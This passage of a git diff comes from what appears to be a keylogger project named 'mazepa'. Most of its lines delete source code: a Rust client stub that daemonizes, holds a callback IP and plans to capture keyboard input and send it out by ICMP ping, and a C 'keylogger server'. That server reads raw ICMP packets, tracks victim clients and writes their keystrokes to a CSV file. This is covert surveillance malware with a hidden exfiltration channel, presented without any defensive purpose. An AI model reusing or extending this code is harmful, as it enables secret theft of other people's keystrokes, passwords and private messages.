+       we only read small files with this for now though, less syscalls is better probablies.
+       */
+
+    bytes_read = (int64_t)read(fd, *buffer, (uint64_t)filesize);
+    if (bytes_read != filesize) {
 #ifdef DEBUG
-        DEBUG_LOG("[!] Should have read %ld bytes but read %ld (filepath: %s)",
+        DEBUG_LOG("[%s] Should have read %ld bytes but read %ld (filepath: %s)\n",
+                  CLIENT_ID,
                   st.st_size,
                   bytes,
                   path);
 #endif
+    }
 
-        if (bytes < 0) {
+    if (bytes_read < 0) {
 #ifdef DEBUG
-            DEBUG_LOG("read: %s", strerror(errno));
+        DEBUG_LOG("[%s] read: %s", CLIENT_ID, strerror(errno));
 #endif
-            return ERROR;
+        if (NULL != buffer) {
+            free(*buffer);
         }
+        return ERROR;
     }
 
-    *buffer[bytes] = 0;
+    if (buffer != NULL)
+        *buffer[bytes_read] = '\0';
     close(fd);
+
     return SUCCESSFUL;
 }
 
 static size_t
-get_nb_cols(const char *str, int n, char separator) {
+get_nb_cols(const int8_t *str, int n, int8_t separator) {
     size_t i = (size_t)n;
     size_t res = 0;
 
     if (str == NULL || str[0] == '\0')
         return 0;
-    for (; str[i] != '\0' && str[i] != separator; i++, res++)
+    for (; str[i] && str[i] != separator; i++, res++)
         ;
     return (res);
 }
 
 static size_t
-get_nb_rows(const char *str, char separator) {
+get_nb_rows(const int8_t *str, int8_t separator) {
     int i;
     size_t res = 0;
 
@@ -95,28 +138,28 @@ get_nb_rows(const char *str, char separator) {
     return (res + 1);
 }
 
-char **
-tabgen(const char *str, char separator) {
+int8_t **
+array_from_string(const int8_t *str, int8_t separator) {
     size_t i = 0;
     size_t malloc_size = 0;
     size_t index_str = 0;
-    char **res = NULL;
+    int8_t **res = NULL;
 
     if (str == NULL || *str == 0)
         return NULL;
 
-    res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+    res = malloc(sizeof(int8_t *) * (get_nb_rows(str, separator) + 1));
     for (; i < get_nb_rows(str, separator); i++) {
         malloc_size = get_nb_cols(&str[index_str], 0, separator);
 
-        res[i] = malloc(sizeof(char) * (malloc_size + 4));
+        res[i] = malloc(sizeof(int8_t) * (malloc_size + 4));
         if (!res[i]) {
             res[i] = NULL;
-            free_tab((uint8_t **)res);
+            array_free((int8_t **)res);
             return NULL;
         }
 
-        res[i] = strncpy(res[i], &str[index_str], malloc_size);
+        res[i] = (int8_t *)strncpy((char *)res[i], (const char *)&str[index_str], malloc_size);
         res[i][malloc_size] = '\0';
 
         index_str = index_str + malloc_size + 1;
@@ -126,14 +169,23 @@ tabgen(const char *str, char separator) {
     return (res);
 }
 
-void free_tab(uint8_t **tab) {
+void array_free(int8_t **tab) {
     for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
         free(tab[ctr]);
     free(tab);
 }
 
-char *
-remove_repeating_whitespaces(char *s) {
+uint32_t array_get_size(int8_t **array) {
+    uint32_t ctr = 0;
+
+    if (!array)
+        return 0;
+    while (array[ctr++])
+        ;
+    return ctr;
+}
+
+int8_t *remove_repeating_whitespaces(int8_t *s) {
     size_t i = 0;
     size_t x = 0;
 
@@ -147,14 +199,3 @@ remove_repeating_whitespaces(char *s) {
     s[x] = '\0';
     return s;
 }
-
-size_t
-get_array_size(uint8_t **array) {
-    size_t ctr = 0;
-
-    if (!array)
-        return 0;
-    while (array[ctr++])
-        ;
-    return ctr;
-}
diff --git a/mazepa/.gitignore b/mazepa/.gitignore
@@ -1 +0,0 @@
-target/
diff --git a/mazepa/Cargo.lock b/mazepa/Cargo.lock
@@ -1,260 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 4
-
-[[package]]
-name = "aho-corasick"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "daemonize"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab8bfdaacb3c887a54d41bdf48d3af8873b3f5566469f8ba21b92057509f116e"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "glob"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
-
-[[package]]
-name = "ipnetwork"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf466541e9d546596ee94f9f69590f89473455f88372423e0008fc1a7daf100e"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "libc"
-version = "0.2.171"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c19937216e9d3aa9956d9bb8dfc0b0c8beb6058fc4f7a4dc4d850edf86a237d6"
-
-[[package]]
-name = "mazepa"
-version = "0.1.0"
-dependencies = [
- "daemonize",
- "libc",
- "pnet",
-]
-
-[[package]]
-name = "memchr"
-version = "2.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
-
-[[package]]
-name = "no-std-net"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43794a0ace135be66a25d3ae77d41b91615fb68ae937f904090203e81f755b65"
-
-[[package]]
-name = "pnet"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "682396b533413cc2e009fbb48aadf93619a149d3e57defba19ff50ce0201bd0d"
-dependencies = [
- "ipnetwork",
- "pnet_base",
- "pnet_datalink",
- "pnet_packet",
- "pnet_sys",
- "pnet_transport",
-]
-
-[[package]]
-name = "pnet_base"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ffc190d4067df16af3aba49b3b74c469e611cad6314676eaf1157f31aa0fb2f7"
-dependencies = [
- "no-std-net",
-]
-
-[[package]]
-name = "pnet_datalink"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e79e70ec0be163102a332e1d2d5586d362ad76b01cec86f830241f2b6452a7b7"
-dependencies = [
- "ipnetwork",
- "libc",
- "pnet_base",
- "pnet_sys",
- "winapi",
-]
-
-[[package]]
-name = "pnet_macros"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13325ac86ee1a80a480b0bc8e3d30c25d133616112bb16e86f712dcf8a71c863"
-dependencies = [
- "proc-macro2",
- "quote",
- "regex",
- "syn",
-]
-
-[[package]]
-name = "pnet_macros_support"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eed67a952585d509dd0003049b1fc56b982ac665c8299b124b90ea2bdb3134ab"
-dependencies = [
- "pnet_base",
-]
-
-[[package]]
-name = "pnet_packet"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c96ebadfab635fcc23036ba30a7d33a80c39e8461b8bd7dc7bb186acb96560f"
-dependencies = [
- "glob",
- "pnet_base",
- "pnet_macros",
- "pnet_macros_support",
-]
-
-[[package]]
-name = "pnet_sys"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d4643d3d4db6b08741050c2f3afa9a892c4244c085a72fcda93c9c2c9a00f4b"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "pnet_transport"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f604d98bc2a6591cf719b58d3203fd882bdd6bf1db696c4ac97978e9f4776bf"
-dependencies = [
- "libc",
- "pnet_base",
- "pnet_packet",
- "pnet_sys",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.94"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "regex"
-version = "1.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-automata",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
-
-[[package]]
-name = "serde"
-version = "1.0.219"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.219"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
diff --git a/mazepa/Cargo.toml b/mazepa/Cargo.toml
@@ -1,9 +0,0 @@
-[package]
-name = "mazepa"
-version = "0.1.0"
-edition = "2024"
-
-[dependencies]
-daemonize = "0.5.0"
-libc = "0.2.171"
-pnet = "0.35.0"
diff --git a/mazepa/src/cfg.rs b/mazepa/src/cfg.rs
@@ -1,31 +0,0 @@
-
-/*
-    TODO(djnn):
-
-    - read from memory & retrieve config
-
-*/
-
-pub struct Config {
-
-    pub daemon_enabled: bool,
-    pub callback_ip: String,
-}
-
-
-impl Config {
-    pub fn new() -> Self {
-
-        #[cfg(debug_assertions)]
-        Config{
-            callback_ip: "10.0.0.2".to_string(),
-            daemon_enabled: false,
-        };
-
-        Config{
-            callback_ip: "10.0.0.2".to_string(),
-            daemon_enabled: false,
-        }
-    }
-}
-
diff --git a/mazepa/src/main.rs b/mazepa/src/main.rs
@@ -1,44 +0,0 @@
-
-extern crate daemonize;
-
-use std::fmt::Result;
-
-#[cfg(debug_assertions)]
-use std::fs::File;
-
-use cfg::Config;
-use daemonize::Daemonize;
-mod cfg;
-
-fn main() -> Result {
-
-    let cfg = Config::new();
-
-    #[cfg(target_os = "linux")]
-    if cfg.daemon_enabled {
-
-        #[cfg(debug_assertions)]
-        let stdout = File::create("/tmp/mazepa.out").unwrap();
-        let stderr = File::create("/tmp/mazepa.err").unwrap();
-
-        #[cfg(debug_assertions)]
-        let deamon = Daemonize::new()
-            .stdout(stdout)
-            .stderr(stderr);
-
-        #[cfg(not(debug_assertions))]
-        let deamon = Daemonize::new();
-
-        deamon.start().unwrap();
-    }
-
-    /*
-        TODO:
-
-        - load keylogger instance
-            -> read from multiple keyboards (& manage locales)
-            -> send ICMP ping
-    */
-
-    Ok(())
-}
diff --git a/server/.clang-format b/server/.clang-format
@@ -1,16 +0,0 @@
-BasedOnStyle: LLVM
-AccessModifierOffset: '-4'
-ColumnLimit: '0'
-FixNamespaceComments: 'false'
-IndentCaseLabels: 'false'
-IndentWidth: '4'
-NamespaceIndentation: All
-TabWidth: '4'
-UseTab: Never
-SortIncludes: true
-IncludeBlocks: Preserve
-IncludeCategories:
-  - Regex:           '^"[[:alnum:]./]+"'       # Any "my_header.h"
-    Priority:        2
-  - Regex:           '<[[:alnum:]./]+>'        # System/Standard libs
-    Priority:        1
diff --git a/server/Makefile b/server/Makefile
@@ -1,76 +0,0 @@
-########################
-#### VARIABLES #########
-########################
-
-NAME		 	= server
-CC			 	= clang
-RM			 	= rm -rf
-
-INCLUDES 	 	= -I./includes/
-LINK_FLAG    	= -lxkbcommon
-
-
-CFLAGS 			= -Wno-unused-command-line-argument -Wno-cast-qual -fPIC
-CFLAGS 			+= -Wno-tautological-value-range-compare
-
-ifeq ($(MAKECMDGOALS), debug)
-	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security
-else
-	CFLAGS 		 	+= -Wall -Wextra -O3 -Weverything -Wpedantic -Wl,-s
-	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
-endif
-
-
-PATTERN 	 	= .c
-OBJPATTERN  	= .o
-SRC_DIR 		= ./sources
-OBJECT_DIR 		= ./objects
-
-vpath %$(PATTERN) $(SRC_DIR)
-
-MAIN		 	= main.c
-SRC 		 	= net.c lexxer.c csv.c loop.c keys.c
-
-########################
-#### COMPILATION #######
-########################
-
-COMBINED		= $(SRC) $(MAIN)
-OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
-
-
-.PHONY: all
-all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
-
-
-.PHONY: debug
-debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
-	@echo "[ ** DEBUG BINARY COMPILED WITH $(CFLAGS) **]"
-
-
-$(OBJECT_DIR):
-	@mkdir -pv $@
-
-directories: | $(OBJECT_DIR)
-
-$(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
-	@$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
-	@echo "Compiling $@"
-
-$(NAME): $(OBJ)
-	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
-	@echo "[*** COMPILATION  SUCCESSFUL ***]"
-
-.PHONY: clean
-clean:  ## removes object files
-	@$(RM) objects
-
-.PHONY: fclean
-fclean: clean  ## removes all compilation artifacts
-	@$(RM) $(NAME)
-	@echo "[*** CLEAN ***]"
-
-.PHONY: re  ## cleans everything and rebuild PROD binary
-re: fclean all
-
-
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -1,127 +0,0 @@
-#ifndef SERVER_H
-#define SERVER_H
-
-#ifdef DEBUG
-
-#include <errno.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <string.h>
-#include <syslog.h>
-
-#ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...)                              \
-    do {                                               \
-        char data[256] = {0};                          \
-        if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
-            _exit(1);                                  \
-        syslog(LOG_NOTICE, data);                      \
-    } while (0)
-#endif
-
-#endif
-
-
-#ifndef STATIC_IP_ADDR
-#define STATIC_IP_ADDR ("0.0.0.0")
-#endif
-
-#include <sys/queue.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define QUEUE_BUFFER_SIZE 1024
-#define STRING_BUFFER_SIZE 4096
-#define MAX_NB_CLIENT 128
-
-/* meant for key translations from xkbcommon and the event we receive. :^) */
-typedef struct translated_key {
-    char const *description;
-    char const representation;
-} translated_key_t;
-
-/*
-    this will be meant to hold a single client information, along with
-    all the information it has passed along to our server.
-*/
-typedef struct client_state client_t;
-struct client_state {
-
-    /* if all client fields in server state are occupied,
-     * we remove the eldest client. When it pings again,
-     * we can remove another one
-     */
-    unsigned long last_ping_timestamp;
-
-    char current_buffer[STRING_BUFFER_SIZE];
-    ssize_t nb_bytes_in_buffer;
-
-    /* client metadata dumped in database */
-    char ipaddr[STRING_BUFFER_SIZE];
-    char locale[STRING_BUFFER_SIZE];
-
-    TAILQ_ENTRY(client_state)
-    clients;
-};
-
-#define IP_LENGTH (16)
-#define ICMP_DATA_LENGTH (2048) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
-
-typedef struct icmp_packet {
-    char addr[IP_LENGTH];
-    int type;
-
-    char payload[ICMP_DATA_LENGTH];
-    size_t payload_size;
-} icmp_msg_t;
-
-
-/* main server object */
-typedef struct server_state {
-
-    /* current clients */
-    TAILQ_HEAD(listhead, client_state)
-    clients;
-
-    struct user_options {
-        char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
-        unsigned short listen_port;
-
-        /*
-            TODO:
-            add encryption key config here, once protocol impl. is finished
-        */
-    } options;
-
-    int sockfd;
-    int dbfd;
-
-} server_t;
-
-#define SUCCESSFUL 1
-#define ERROR 0
-
-#define KEY_PRESSED 1
-#define KEY_RELEASED 0
-
-#define MTU (1472)
-
-// net.c
-int init_remote_connection(server_t *instance);
-int net_icmp_recv(const server_t *instance, icmp_msg_t *msg);
-
-// lexxer.c
-int parse_cli_arguments(server_t *instance, const int ac, char **av, char **envp);
-
-// csv.c
-int init_csv_dbfd(char const *filepath);
-
-// loop.c
-void loop(server_t *instance);
-int should_gracefully_exit(int code);
-
-// keys.c
-
-
-
-#endif /* SERVER_H */
diff --git a/server/scripts/setup.sh b/server/scripts/setup.sh
@@ -1,17 +0,0 @@
-#!/bin/env bash
-
-# this script is useful to install
-# all the dependencies required to run the server
-#
-# for now, it only supports (and targets) Debian-based distros
-
-set -euo pipefail
-
-
-install_debian() {
-    sudo apt install -y clang clang-tools libxkbcommon-dev
-}
-
-apt search clang >/dev/null || { echo "Only debian-based distros are supported" && exit 1 ; }
-install_debian
-
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -1,46 +0,0 @@
-/*
-    Manages .csv logging here, so that it is easily sync'd up.
-
-TODO:
-    - add optional support for sqlite (maybe at compile-time) with an option
-    - build little abstraction that will call the under-layered functions
-underneath
-*/
-
-#include <fcntl.h>
-#include <unistd.h>
-#include "server.h"
-
-int init_csv_dbfd(char const *filepath) {
-
-    if (!filepath || (!(*filepath)))
-        return -1;
-
-    /* obviously, we need to have a read-writable file */
-    int access_status = access(filepath, R_OK | W_OK);
-
-    /* file probably does not exist, let's create a file and return fd */
-    if (access_status == -1) {
-        int fd = open(filepath, O_CREAT | O_RDWR);
-#ifdef DEBUG
-        DEBUG_LOG("[+] created dbfd: %d\n", fd);
-#endif
-        return fd;
-    }
-
-    /* all good, lets just open & return */
-    if (access_status == 0) {
-        int fd = open(filepath, O_RDWR);
-#ifdef DEBUG
-        DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
-#endif
-        return fd;
-    }
-
-    /* incorrect perms is most likely */
-#ifdef DEBUG
-    DEBUG_LOG("[!] could not open %s: access() result: %d\n", filepath, access_status);
-    DEBUG_LOG("incorrect file permissions is the most likely issue...\n");
-#endif
-    return -1;
-}
diff --git a/server/sources/keys.c b/server/sources/keys.c
@@ -1,52 +0,0 @@
-
-#include <string.h>
-#include "server.h"
-
-#include <linux/input-event-codes.h>
-#include <linux/input.h>
-#include <xkbcommon/xkbcommon.h>
-
-static const translated_key_t KEYS[] = {
-    {"space", ' '},
-    {"comma", ','},
-    {"period", '.'},
-    {"slash", '/'},
-    {"questionmark", '?'},
-    {"semicolon", ';'},
-    {"apostrophe", '\''},
-    {"bracketleft", '['},
-    {"bracketright", ']'},
-    {"backslash", '\\'},
-    {"pipe", '|'},
-    {"Tab", '\t'},
-    {"minus", '-'},
-    {"plus", '+'},
-    {"equal", '='},
-    {"dollar", '$'},
-    {"percentage", '%'},
-    {"star", '*'},
-    {"parenthesisleft", '('},
-    {"parenthesisright", ')'},
-    {"underscore", '_'},
-    {"ampersand", '&'},
-    {"pound", '#'},
-    {"arobase", '@'},
-    {"tild", '~'},
-    {NULL, 0},
-};
-
-
-static char *
-retrieve_translated_key(char *key_desc) {
-    for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
-        if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
-
-            memset(key_desc, 0, STRING_BUFFER_SIZE);
-            key_desc[0] = KEYS[ctr].representation;
-
-            break;
-        }
-    }
-    return key_desc;
-}
-
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -1,67 +0,0 @@
-
-#include <getopt.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <strings.h>
-#include <unistd.h>
-#include "server.h"
-
-const static struct option cli_options[] = {
-    {"help", no_argument, 0, 'h'},
-    {"listen-port", required_argument, 0, 'p'},
-    {"db-path", required_argument, 0, 'd'},
-};
-
-static void
-get_help(const char *bin_name) {
-    printf("%s: mazepa keylogger server\n\n", bin_name);
-    printf("USAGE:\n");
-    printf("\t--listen-port [-p]: specifies server listening port\n");
-    printf("\t--db-path     [-d]: specifies .csv filepath\n");
-
-    printf("\t--help        [-h]: triggers help mode\n");
-    printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
-}
-
-int parse_cli_arguments(server_t *instance, const int ac, char **av, __attribute__((unused)) char **envp) {
-
-    int c = 0;
-    int opt_idx = 0;
-    char const *short_options = "d:p:h";
-
-    while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
-           -1) {
-
-        switch (c) {
-        case 'h':
-            get_help(av[0]);
-            _exit(0);
-
-        case 'd':
-
-            instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
-#ifdef DEBUG
-            DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
-#endif
-            break;
-
-        case 'p':
-
-            bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
-            memcpy((void *)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
-#ifdef DEBUG
-            DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
-#endif
-            break;
-
-        case '?':
-            return ERROR;
-
-        default:
-            break;
-        }
-    }
-
-    return SUCCESSFUL;
-}
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -1,86 +0,0 @@
-/*
-    stores main loop logic (that is managing entering / ending connections &
-    logging them keys)
-*/
-
-#include <ctype.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/queue.h>
-#include <sys/select.h>
-#include <sys/socket.h>
-#include <unistd.h>
-#include "server.h"
-
-
-static void
-sig_handler(int code) {
-    if (code == SIGINT)
-        should_gracefully_exit(code);
-}
-
-
-void loop(server_t *instance) {
-
-    int dbfd = init_csv_dbfd(instance->options.db_filepath);
-    if (dbfd < 0 && instance->options.db_filepath[0] != 0)
-        return;
-
-    signal(SIGINT, sig_handler);
-    TAILQ_INIT(&instance->clients);
-    while (!should_gracefully_exit(0)) {
-
-        icmp_msg_t msg = {0};
-
-        /* poll for new packet */
-        if (net_icmp_recv(instance, &msg) < 0) {
-            goto CLEANUP_ROUTINE;
-        }
-
-        /* have we received a new message ?
-         * (we should always have one but lets check if something fucked up) */
-        if (msg.addr[0] == 0) {
-            usleep(2500);
-            continue;
-        }
-
-        /* find related client in client-list, then update state */
-        client_t *it = NULL;
-        int found_client = 0;
-        TAILQ_FOREACH(it, &instance->clients, clients) {
-            if (strncmp(it->ipaddr, msg.addr, STRING_BUFFER_SIZE) == 0) {
-                /* update state ! */
-                found_client = 1;
-            }
-        }
-
-        /* no client found, find least active client & kick it. then, add it */
-        if (!found_client) {
-
-
-        }
-
-
-    }
-
-CLEANUP_ROUTINE:
-
-    /* TODO(djnn): dump all client state to database & close server */
-
-
-    close(dbfd);
-}
-
-int should_gracefully_exit(int code) {
-    static int should_exit = 0;
-
-    if (code != 0 || should_exit) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] caught code: %d\n", code)
-#endif
-        should_exit = 1;
-    }
-    return should_exit;
-}
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -1,23 +0,0 @@
-
-#include <unistd.h>
-#include "server.h"
-
-int main(const int ac, char **av, char **envp) {
-
-    server_t srv = {0};
-
-    if (!parse_cli_arguments(&srv, ac, av, envp)) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
-#endif
-        _exit(1);
-    }
-
-    srv.sockfd = init_remote_connection(&srv);
-#ifdef DEBUG
-    DEBUG_LOG("[+] socket initiated....preparing DB connection");
-#endif
-
-    loop(&srv);
-    return 0;
-}
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -1,137 +0,0 @@
-/*
-    this code handles the main server loop
-
-
-*/
-
-#include <arpa/inet.h>
-#include <netinet/in.h>
-#include <netinet/ip_icmp.h>
-#include <sys/socket.h>
-
-#include <string.h>
-#include "server.h"
-
-int init_remote_connection(server_t *instance) {
-
-#ifdef DEBUG
-    DEBUG_LOG("Initiating remote connection with (localhost:%d)",
-              instance->options.listen_port);
-#endif
-
-    /*
-       creating initial socket...
-
-       we will transmit keys logged over ICMP protocol.
-       to parse ICMP packets, we must use RAW sockets & filter the packets ourselves :)
-
-       AF_INET          -> remote connection    (for local, use AF_UNIX)
-       SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
-       IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
-
-    */
-    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
-    if (sockfd < 0) {
-
-#ifdef DEBUG
-        perror("socket");
-#endif
-
-        close(sockfd);
-        return -1;
-    }
-
-    /* items required to bind socket to remote address */
-    int is_enabled = 1;
-    struct sockaddr_in addr = {.sin_family = AF_INET,
-                               .sin_port = htons(instance->options.listen_port),
-                               .sin_addr.s_addr = inet_addr(STATIC_IP_ADDR)};
-
-    /* setting socket options to make connection more convenient
-    * allowing to reuse ADDR or PORT (useful for testing)
-    *  */
-    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
-                   &is_enabled,
-                   sizeof(int)) < 0) {
-
-#ifdef DEBUG
-        DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
-#endif
-
-        close(sockfd);
-        return -1;
-    }
-
-    if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &is_enabled, sizeof(int)) < 0) {
-
-#ifdef DEBUG
-        DEBUG_LOG("setsockopt send_key_description (IP_HDRINCL): %s", strerror(errno));
-#endif
-
-        close(sockfd);
-        return -1;
-    }
-
-    if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-
-#ifdef DEBUG
-        DEBUG_LOG("connect: %s", strerror(errno));
-#endif
-
-        close(sockfd);
-        return -1;
-    }
-
-    return sockfd;
-}
-
-/* NOTE(djnn): this function's failure triggers exit routine,
- * so ERROR is only returned on critical error */
-int net_icmp_recv(const server_t *instance, icmp_msg_t *msg) {
-
-    socklen_t src_addr_size = 0;
-    struct sockaddr_in src_addr = {0};
-    struct iphdr *ip_addr = NULL;
-    struct icmphdr *icmp_header = NULL;
-
-    /* check if we can hold the full message */
-    _Static_assert(MTU + sizeof(struct iphdr) + sizeof(struct icmphdr) < ICMP_DATA_LENGTH, "ICMP_DATA_LENGTH is not big enough");
-
-    const int encapsulated_mtu = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
-    char full_packet[ICMP_DATA_LENGTH] = {0}; /* all values are static ; this is fine */
-
-    /* blocking recvfrom() to retrieve ICMP packet :) */
-    ssize_t pktsz = recvfrom(
-        instance->sockfd,
-        full_packet,
-        encapsulated_mtu,
-        0,
-        (struct sockaddr *)&(src_addr),
-        &src_addr_size
-        );
-    if (pktsz < 0)
-        return ERROR;
-
-    /* parse headers */
-    ip_addr = (struct iphdr *)full_packet;
-    icmp_header = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
-    msg->payload_size = (size_t)pktsz - sizeof(struct iphdr) - sizeof(struct icmphdr);
-
-    if (memccpy(
-        msg->payload,
-        (full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr)),
-        0,
-        msg->payload_size
-        ) == NULL) {
-        /* non-critical error. maybe perror() this ? */
-        bzero(msg->addr, IP_LENGTH);
-
-        return SUCCESSFUL;
-    }
-
-    /* set message type & source ip-addr */
-    msg->type = icmp_header->type;
-    inet_ntop(AF_INET, &(ip_addr->saddr), msg->addr, INET_ADDRSTRLEN);
-
-    return SUCCESSFUL;
-}